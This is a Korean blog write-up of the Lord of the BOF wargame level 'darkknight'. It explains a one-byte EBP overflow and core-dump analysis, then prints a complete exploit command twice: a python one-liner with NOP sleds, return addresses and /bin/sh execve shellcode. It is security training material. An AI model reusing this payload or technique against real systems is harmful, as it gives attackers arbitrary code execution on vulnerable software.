본문 바로가기
HACKING_GAME/SYSTEM

LOB#12 darkknight

by asdf12345 2020. 7. 19.

0. Payload

/home/golem/darkknight `python -c "print '\xc8\xfb\xff\xbf'+'\x90'*32+'\xc4\xfb\xff\xbf'+'\x14'+'\x90'*59+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*75"`

 

1. 개념 

1) 1 byte overflow란? 

스택 프레임 안에 ebp 주소 1byte 변조 가능 시, ebp 값이 4byte+shellcode 참조 주소를 가르키도록 하여 shellcode 실행하는 기법이다.

2) core dump란?

프로그램이 비정상 종료 시점에서 프로세스 메모리를 dump한다. 이를 분석하여 프로그램이 죽는 원인을 파악할 수 있다.

 

2. 문제 풀이

1) CODE

 

2) SOLUTION

코드 분석 시, problem_child() 안에 buffer 문자열이 stack으로 41byte 들어감을 알 수 있다. 

41byte가 들어가므로써 ebp값이 user input 값을 통해 변조된다.

ebp값은 main()의 stack frame 시작 주소이다. ebp는 이전 함수의 ebp+return address를 가르킨다.

main()는 problem_child()호출 후, leave, ret 명령어를 실행한다.

leave 명령어

mov esp, ebp

pop ebp

ret 명령어

pop eip

jmp eip

그러므로 변조된 ebp 값이 4byte+shellcode참조주소(4byte)를 가르키도록 해야한다.

stack에는 삽입한 인자값이 들어가므로, 그 값을 이용한다.

payload

/home/golem/darkknigha `python -c "print '\xc8\xfb\xff\xbf'+'\x90'*32+'\xc4\xfb\xff\xbf'+'\x14'+'\x90'*59+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*75"`

하지만 darkknight를 동일한 payload를 이용하여 실행 시, 에러가 발생한다. 

원인은 stack 공간의 변경 때문이다. gdb로 프로그램 실행한 것과 달리, 직접적인 프로그램 실행 시에는 낮은 kernel version과 gdb로 프로그램 실행 시 추가되는 환경변수로 인해 stack 공간이 변경된다.

정확한 주소 입력을 위해 프로그램 종료 시, memory를 dump하는 core를 이용하여 메모리 주소 확인할 수 있다.

스택을 분석하여 참조 값 확인이 가능하다. 변조된 ebp가 의도하지 않은 값을 가르키는 것을 알 수있다.

4byte+shellcode를 참조하도록 값을 변경하여 shell 획득이 가능하다.

'HACKING_GAME > SYSTEM' 카테고리의 다른 글

LOB#1 gate  (0) 2020.07.19
PWNABLE#7 input  (0) 2020.05.14
LOB#6 check length of argv[1] + egghunter + bufferhunter (wolfman -> darkelf)  (0) 2020.05.10
LOB#4 egghunter (goblin -> orc)  (0) 2020.04.26
PWNABLE#3 bof  (0) 2020.04.26